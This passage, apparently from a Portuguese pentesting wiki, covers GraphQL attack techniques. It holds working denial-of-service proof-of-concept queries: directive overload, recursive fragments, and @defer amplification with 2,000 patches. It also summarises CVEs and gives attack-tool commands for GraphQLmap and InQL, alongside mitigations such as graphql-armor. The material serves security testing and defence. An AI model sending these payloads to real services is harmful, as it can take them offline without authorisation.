\n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \ 'https://example.com/graphql' ``` ## Vulnerabilidades Recentes (2023-2025) > O ecossistema GraphQL evolui muito rapidamente; durante os últimos dois anos, várias questões críticas foram divulgadas nas bibliotecas de servidor mais utilizadas. Quando você encontra um endpoint GraphQL, vale a pena identificar o mecanismo (veja **graphw00f**) e verificar a versão em execução em relação às vulnerabilidades abaixo. ### CVE-2024-47614 – `async-graphql` diretiva-sobrecarga DoS (Rust) * Afetado: async-graphql < **7.0.10** (Rust) * Causa raiz: sem limite em **diretivas duplicadas** (por exemplo, milhares de `@include`) que são expandidas em um número exponencial de nós de execução. * Impacto: uma única solicitação HTTP pode esgotar CPU/RAM e derrubar o serviço. * Correção/mitigação: atualize ≥ 7.0.10 ou chame `SchemaBuilder.limit_directives()`; alternativamente, filtre solicitações com uma regra WAF como `"@include.*@include.*@include"`. ```graphql # PoC – repeat @include X times query overload { __typename @include(if:true) @include(if:true) @include(if:true) } ``` ### CVE-2024-40094 – `graphql-java` bypass de profundidade/complexidade ENF * Afetado: graphql-java < 19.11, 20.0-20.8, 21.0-21.4 * Causa raiz: **ExecutableNormalizedFields** não foram considerados pela instrumentação `MaxQueryDepth` / `MaxQueryComplexity`. Fragmentos recursivos, portanto, contornaram todos os limites. * Impacto: DoS não autenticado contra pilhas Java que incorporam graphql-java (Spring Boot, Netflix DGS, produtos Atlassian…). ```graphql fragment A on Query { ...B } fragment B on Query { ...A } query { ...A } ``` ### CVE-2023-23684 – Cadeia de SSRF para RCE do WPGraphQL * Afetado: WPGraphQL ≤ 1.14.5 (plugin do WordPress). * Causa raiz: a mutação `createMediaItem` aceitava URLs **`filePath`** controladas pelo atacante, permitindo acesso à rede interna e gravações de arquivos. * Impacto: Editores/Autores autenticados poderiam acessar endpoints de metadados ou gravar arquivos PHP para execução remota de código. --- ## Abuso de entrega incremental: `@defer` / `@stream` Desde 2023, a maioria dos principais servidores (Apollo 4, GraphQL-Java 20+, HotChocolate 13) implementou as diretrizes de **entrega incremental** definidas pelo WG GraphQL-over-HTTP. Cada patch diferido é enviado como um **chunk separado**, de modo que o tamanho total da resposta se torna *N + 1* (envelope + patches). Uma consulta que contém milhares de pequenos campos diferidos, portanto, produz uma grande resposta enquanto custa ao atacante apenas uma solicitação – um clássico **amplification DoS** e uma maneira de contornar as regras de WAF de tamanho de corpo que apenas inspecionam o primeiro chunk. Os próprios membros do WG sinalizaram o risco. Exemplo de payload gerando 2 000 patches: ```graphql query abuse { % for i in range(0,2000): f{{i}}: __typename @defer % endfor } ``` Mitigação: desative `@defer/@stream` em produção ou imponha `max_patches`, `max_bytes` cumulativos e tempo de execução. Bibliotecas como **graphql-armor** (veja abaixo) já impõem padrões sensatos. --- ## Middleware defensivo (2024+) | Projeto | Notas | |---|---| | **graphql-armor** | Middleware de validação Node/TypeScript publicado pela Escape Tech. Implementa limites plug-and-play para profundidade de consulta, contagens de alias/campo/diretiva, tokens e custo; compatível com Apollo Server, GraphQL Yoga/Envelop, Helix, etc. | Início rápido: ```ts import { protect } from '@escape.tech/graphql-armor'; import { applyMiddleware } from 'graphql-middleware'; const protectedSchema = applyMiddleware(schema, ...protect()); ``` `graphql-armor` agora bloqueará consultas excessivamente profundas, complexas ou pesadas em diretivas, protegendo contra as CVEs acima. --- ## Ferramentas ### Scanners de vulnerabilidade - [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testa configurações incorretas comuns de endpoints graphql - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Script de auditoria de segurança GraphQL com foco em realizar consultas e mutações em lote. - [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Identifica a impressão digital do graphql em uso - [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Conjunto de ferramentas que pode ser usado para capturar esquemas e buscar dados sensíveis, testar autorização, força bruta em esquemas e encontrar caminhos para um tipo específico. - [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Pode ser usado como autônomo ou [extensão Burp](https://github.com/doyensec/inql). - [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Pode ser usado como um cliente CLI também para automatizar ataques: `python3 graphqlmap.py -u http://example.com/graphql --inject` - [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Ferramenta que lista as diferentes maneiras de **chegar a um tipo específico em um esquema GraphQL**. - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): O sucessor dos modos autônomo e CLI do InQL - [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Extensão Burp ou script python para testes avançados de GraphQL. O _**Scanner**_ é o núcleo do InQL v5.0, onde você pode analisar um endpoint GraphQL ou um arquivo de esquema de introspecção local. Ele gera automaticamente todas as possíveis consultas e mutações, organizando-as em uma visão estruturada para sua análise. O componente _**Attacker**_ permite que você execute ataques em lote de GraphQL, o que pode ser útil para contornar limites de taxa mal implementados: `python3 inql.py -t http://example.com/graphql -o output.json` - [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Tenta obter o esquema mesmo com a introspecção desativada, usando a ajuda de alguns bancos de dados Graphql que sugerem os nomes de mutações e parâmetros. ### Scripts para explorar vulnerabilidades comuns - [https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS](https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS): Coleção de scripts para explorar vulnerabilidades de negação de serviço em ambientes graphql vulneráveis. ### Clientes - [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): Cliente GUI - [https://altair.sirmuel.design/](https://altair.sirmuel.design/): Cliente GUI ### Testes Automáticos {{#ref}} https://graphql-dashboard.herokuapp.com/ {{#endref}} - Vídeo explicando AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU) ## Referências - [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/) - [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) - [**https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4**](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4) - [**http://ghostlulz.com/api-hacking-graphql/**](http://ghostlulz.com/api-hacking-graphql/) - [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md) - [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) - [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql) - [**https://github.com/advisories/GHSA-5gc2-7c65-8fq8**](https://github.com/advisories/GHSA-5gc2-7c65-8fq8) - [**https://github.com/escape-tech/graphql-armor**](https://github.com/escape-tech/graphql-armor) {{#include ../../banners/hacktricks-training.md}}